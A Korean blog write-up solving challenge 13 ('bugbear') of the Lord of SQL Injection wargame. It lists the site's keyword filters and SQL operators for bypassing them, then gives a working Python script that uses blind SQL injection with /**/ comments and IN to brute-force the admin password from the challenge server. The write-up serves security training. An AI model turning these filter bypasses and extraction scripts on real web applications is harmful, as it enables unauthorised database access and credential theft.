Lord of SQL Injection

Lord of SQL injection 13번 문제 - bugbear

ilsancityboy 2024. 11. 11. 04:05

  • no 파라미터에 prob, _, ., () , ', substr , ascii , = , or , and , 공백( ), like, 0x 문자열 필터링
  • pw 파라미터에 ' 필터링

데이터베이스 구조형태 유추

id pw no
guest ? ?
admin ? ?

 

지난 문제인 12번 문제에서 like가 필터링되는 부분이 추가된것 말고는 딱히 차이점이 없다.

 

like말고도 비슷한 기능을 가진 연산자들로 필터링 우회를 하면 된다.


LIKE 외에도 SQL 필터링을 우회할 수 있는 연산자와 방법들은 다음과 같습니다:

  1. REGEXP: 정규 표현식을 사용해 패턴 매칭을 할 수 있습니다.
  2. BETWEEN: 범위를 지정해 값 비교를 할 수 있습니다.
  3. IN: 여러 값을 조건으로 지정하여 OR 대체가 가능합니다.
  4. <>, !=: = 대신 불일치 조건으로 사용.
  5. 문자열 조작 함수: CHAR_LENGTH, LENGTH 등을 사용해 문자열 길이를 확인.
  6. 부울 논리 및 산술 우회: 1=1 같은 산술 표현식으로 우회.

 

여기선 IN을 사용하여 우회 해 보겠다.

 

 

 

먼저 공백도 필터링이 되고있어 SQL에서 주석으로 사용되는 /* */를 사용하여 공백대신 각 단어마다 주석을 넣어 읽을 수 있게끔 분류해주었고 like대신 in을 사용하여 ("admin")이라는 기준을 던져주며 id에 admin이라는게 있으면 Hello admin이 출력이 되게끔 해준다.

 

 

 

전에 푼 문제와 똑같이 blind sql injection으로 비밀번호가 8자리인것, no의 값이 2인것을 알아냈다.

따라서 무차별 대입 공격 코드 수정후 공격

 

import requests
import string

cookies = {'PHPSESSID': '8dafgns8mi1oanuvu0rp7ds0rd'}
characters = string.ascii_letters + string.digits


# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):  # pw 길이가 1부터 8까지
    for pw_word in characters:
        url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
        
        # no 값에 || 조건을 추가하여 SQL 쿼리문을 우회
        # mid(pw, {pw_len}, 1) like '{pw_word}' 로 추측한 각 자리의 문자 확인
        no_condition = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/mid(pw,{pw_len},1)/**/in/**/(\"{pw_word}\")"
        
        # no 파라미터에 위 조건을 추가하여 요청
        params = {
            'pw': 'any_value',  # pw는 원래 값 그대로 두고
            'no': no_condition   # no에 조건을 추가
        }
        
        # GET 요청 보내기
        res = requests.get(url=url, params=params, cookies=cookies)
        
        # 응답에서 "Hello admin"이 포함된 경우 비밀번호의 해당 자리값을 출력
        if "Hello admin" in res.text:
            print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
            break  # 해당 자리의 문자를 찾으면 다음 자리로 넘어갑니다.